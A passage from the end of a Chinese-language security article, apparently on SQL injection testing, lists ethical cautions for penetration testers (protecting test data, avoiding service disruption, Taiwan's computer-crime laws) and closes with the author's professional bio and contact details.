  • 保護測試過程中取得的資料:測試中可能接觸到真實用戶資料,須妥善保護並在測試結束後刪除。
  • 不對生產環境造成影響:避免使用破壞性較強的 payload(如 --risk=3)或大量線程造成服務中斷。
  • 遵守相關法律:台灣的《刑法》第 358 條至第 363 條對於非法入侵電腦系統有明確規範,違者可能面臨刑事責任。
林子婷(飛飛/Phoebe菲比)
林子婷(飛飛/Phoebe菲比)

技術專長:OSINT、滲透測試、網站開發、專業易懂教育訓練。
資安證照:OSCE3、OSED、OSWE、OSEP、OSCP、OSTH、OSWA、OSWP、OSCC、OSCC-SJD。
資安書籍:《資安這條路:領航新手的 Web Security指南》。
教學經驗:50+ 企業教學經驗、指導過上百位學員。
教學特色:新手友善、耐心指導、擅長圖解(流程圖、心智圖)引導學習。
社群經驗:目前經營全臺資安社群 CURA,曾任臺科資安社社長、逢甲黑客社社長。
社群交流:Line 社群《飛飛的資安大圈圈》,即時分享經驗、鼓勵交流。
社群分享:FB 粉專《資安這條路,飛飛來領路》,分享文章與圖卡整理。
資安網站:feifei.tw 資安系列文章

飛飛
電話:02-23120400
Email:[email protected]
地址:臺北市中山區復興北路48號7樓